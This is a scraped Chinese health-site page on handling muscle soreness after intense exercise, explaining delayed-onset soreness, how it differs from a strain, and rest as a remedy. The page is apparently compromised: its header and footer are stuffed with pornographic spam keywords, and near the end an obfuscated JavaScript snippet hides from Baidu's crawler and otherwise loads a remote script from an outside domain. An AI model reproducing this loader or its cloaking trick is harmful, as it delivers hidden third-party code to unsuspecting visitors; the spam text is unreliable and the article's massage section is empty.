久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

劇烈運動肌肉酸疼怎么處理?

2017-04-15 09:58:42  來源:360常識網   熱度:
導語:運動,有的人喜歡做一些輕松的事情,有的人喜歡做一些劇烈的運動,每一種運動都不同,每一種運動也有不同的感覺,很多人在劇烈運動肌肉都會

運動,有的人喜歡做一些輕松的事情,有的人喜歡做一些劇烈的運動,每一種運動都不同,每一種運動也有不同的感覺,很多人在劇烈運動肌肉都會感到酸疼,這個時候大家的身體就比較難受了,其實大家在生活中還是要多多保護自己,接下來讓小編為大家好好的介紹劇烈運動肌肉酸疼。

運動醫學上將運動引起的肌肉酸痛分為兩種: 一種是運動后疼痛立即出現,但其消失得也快,這種叫做急性肌肉酸痛。另一種是在運動后幾小時或一夜之后才出現,并伴有疲倦乏力,甚至會出現肌肉痙攣、僵硬等癥狀。這種肌肉疼痛消失得比較緩慢,常常3-4天,甚至6-7天之后才能完全恢復,這種癥狀則稱為延遲性肌肉酸痛或運動后疲勞。

我們常說的肌肉酸痛主要是指后一種,即延遲性肌肉酸痛。

肌肉酸痛與拉傷是有明顯區別的。實際上,肌肉酸痛是一種正常的、積極的生理表現。人們往往在力量訓練或一個不太適應(運動量偏大或新的運動項目等)的運動練習后,產生明顯的肌肉酸痛和不適。而這些癥狀在休息一段時間后會自然消失,當再次進行同樣的運動時肌肉酸痛癥狀會明顯減輕或不產生。而運動導致的肌肉拉傷就不同了,肌肉或韌帶拉傷會造成骨骼肌大面積的病理性改變,如細胞變性、細胞壞死等等,不僅影響繼續運動或訓練,還可能會帶來較嚴重的后果。

處理方法

休息。休息能減緩肌肉酸痛的現象,并可慢慢促進血液循環,能加速代謝產物的排除,并能消除肌肉酸痛部位營養的供給與修復,使之恢復正常。

拍打按摩

在發生劇烈運動肌肉酸疼的時候,大家千萬要注意好好的休息,不可以再逞強進行強烈的運動了,出現劇烈運動肌肉酸疼的情況后大家要好好的注意自己的身體,如果情況很嚴重的話,大家還是得盡早去醫院進行檢查才好呢,只有這樣我們也才放心呢。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 特大毛片 | 91精选国产 | 国产欧美精品在线 | 天堂一区二区三区 | 日韩av视屏 | 日本一区二区在线视频 | 亚洲一区久久久 | 天堂免费在线观看视频 | 国产一区二区精品在线观看 | 亚洲欧美国产一区二区 | 成人激情视频在线观看 | 欧美日韩视频在线观看一区 | 91久久国产综合久久蜜月精品 | 日本天天操 | 欧美高清视频在线观看 | 色伊人久久 | 国产区一区 | 国产精品视频二区不卡 | 5060毛片| 日韩国产精品一区二区三区 | 欧美成人免费一级人片100 | 欧美激情精品 | 成年人免费在线视频 | 日韩av一区二区三区四区 | 久久久一区二区三区捆绑sm调教 | 国产成人精品亚洲777人妖 | 伊人夜夜躁av伊人久久 | 一区二区在线电影 | 男人的天堂视频网站 | 欧美综合久久 | 色吧久久| 久久国产成人午夜av影院宅 | 国产一区二区三区免费 | 久久精品久久久久 | 日日干夜夜干 | 精品国产一区二区三区久久影院 | 亚洲精品18| 免费日本黄色 | 婷婷桃色网 | 99re6热在线精品视频播放 | 久久综合入口 |